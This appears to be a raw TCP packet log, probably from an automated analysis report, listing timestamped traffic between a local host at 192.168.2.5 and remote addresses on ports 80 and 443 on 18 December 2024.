Dec 18, 2024 21:30:29.770699978 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.770860910 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.770898104 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.771713972 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.771755934 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.771907091 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.771946907 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.772789955 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.772830963 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.772979975 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.773072004 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.773890972 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.773925066 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.774040937 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.774080992 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.774929047 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.774971962 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.775324106 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.775360107 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.776187897 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.776226997 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.776364088 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.776398897 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.776989937 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.777035952 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.777160883 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.777215004 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.777976990 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.778013945 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.778162003 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.778201103 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.778964043 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.779014111 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.779156923 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.779196978 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.780067921 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.780101061 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.780200958 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.780241966 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.781174898 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.781219006 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.781356096 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.781398058 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.782304049 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.782345057 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.782511950 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.782546997 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.783448935 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.783485889 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.783582926 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.783621073 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.784548044 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.784585953 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.784701109 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.784734011 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.785525084 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.785567999 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.785664082 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.785703897 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.786510944 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.786556005 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.786703110 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.786746979 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.787558079 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.787599087 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.787744999 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.787784100 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.788466930 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.788511992 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.788619995 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.788655043 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.789556980 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.789608002 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.789752007 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.789791107 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.790575027 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.790616035 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.790751934 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.790788889 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.791665077 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.791706085 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.791882992 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.791919947 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.792685032 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.792728901 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.792882919 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.792921066 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.793751955 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.793792963 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.793987989 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.794035912 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.795545101 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.795588017 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.795737028 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.795774937 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.796753883 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.796797037 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.796888113 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.796926975 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.797774076 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.797836065 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.797887087 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.797923088 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.798731089 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.798773050 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.798922062 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.798958063 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.799737930 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.799776077 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.799865961 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.799901009 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.800626040 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.800667048 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.800808907 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.800852060 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.801582098 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.801628113 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.801690102 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.801728010 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.802463055 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.802505970 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.802632093 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.802668095 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.889595985 CET	49811	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:29.889638901 CET	443	49811	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:29.889709949 CET	49811	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:29.890053988 CET	49811	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:29.890072107 CET	443	49811	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:29.939908981 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.939971924 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.940291882 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.940334082 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.940366030 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.940407038 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.940680027 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.940749884 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.941390038 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.941435099 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.941550970 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.941596031 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.942426920 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.942472935 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.942645073 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.942687988 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.943521976 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.943566084 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.943645000 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.943684101 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.944602966 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.944644928 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.944727898 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.944765091 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.945581913 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.945621967 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.945847034 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.945923090 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.946679115 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.946722031 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.946938038 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.946978092 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.947715044 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.947782993 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.947909117 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.947947979 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.948784113 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.948826075 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.948952913 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.948992968 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.949892044 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.949934006 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.950016022 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.950056076 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.951004982 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.951045036 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.951205015 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.951244116 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.951980114 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.952020884 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.952091932 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.952131033 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.953008890 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.953051090 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.953178883 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.953213930 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.954049110 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.954086065 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.954344988 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.954385042 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.955327034 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.955365896 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.955501080 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.955534935 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.956296921 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.956331968 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.956448078 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.956481934 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.957403898 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.957444906 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.957506895 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.957542896 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.958323956 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.958363056 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.958592892 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.958627939 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.959429979 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.959469080 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.959621906 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.959657907 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.960495949 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.960531950 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.960644960 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.960681915 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.961519957 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.961559057 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.961685896 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.961720943 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.962588072 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.962627888 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.962694883 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.962727070 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.963644028 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.963684082 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.963809967 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.963848114 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.964713097 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.964752913 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.964931011 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.964965105 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.965910912 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.965955019 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.966073990 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.966120005 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.967150927 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.967191935 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.967367887 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.967407942 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.968326092 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.968367100 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.968395948 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.968431950 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.969314098 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.969414949 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.969495058 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.969531059 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.970309019 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.970350027 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.970484972 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.970523119 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.971272945 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.971321106 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.971370935 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.971407890 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.972390890 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.972454071 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.972719908 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.972758055 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.973153114 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.973195076 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.973299026 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.973335981 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.974225044 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.974273920 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.974373102 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.974414110 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.975258112 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.975303888 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.975470066 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.975511074 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.976439953 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.976495028 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.976614952 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.976665020 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.977408886 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.977454901 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.977570057 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.977618933 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.978471994 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.978523970 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.978645086 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.978687048 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.979549885 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.979593992 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.979717016 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.979756117 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.980560064 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.980603933 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.980803013 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.980844975 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.981730938 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.981775045 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.981802940 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.981841087 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.982645035 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.982690096 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.982824087 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.982863903 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.983792067 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.983834028 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.983920097 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.983958960 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.984755039 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.984796047 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.984946966 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.984993935 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.985800982 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.985845089 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.985984087 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.986027956 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.986871004 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.986912966 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.987031937 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.987073898 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.988049030 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.988095045 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.988185883 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.988236904 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.989072084 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.989118099 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.989180088 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.989223957 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.990061045 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.990103006 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.990216970 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.990256071 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.991102934 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.991147995 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.991255045 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.991297007 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.992182016 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.992232084 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.992433071 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.992479086 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.993180037 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.993231058 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.993355036 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.993402004 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.994282007 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.994323015 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.994442940 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.994481087 CET	49808	80	192.168.2.5	31.41.244.11
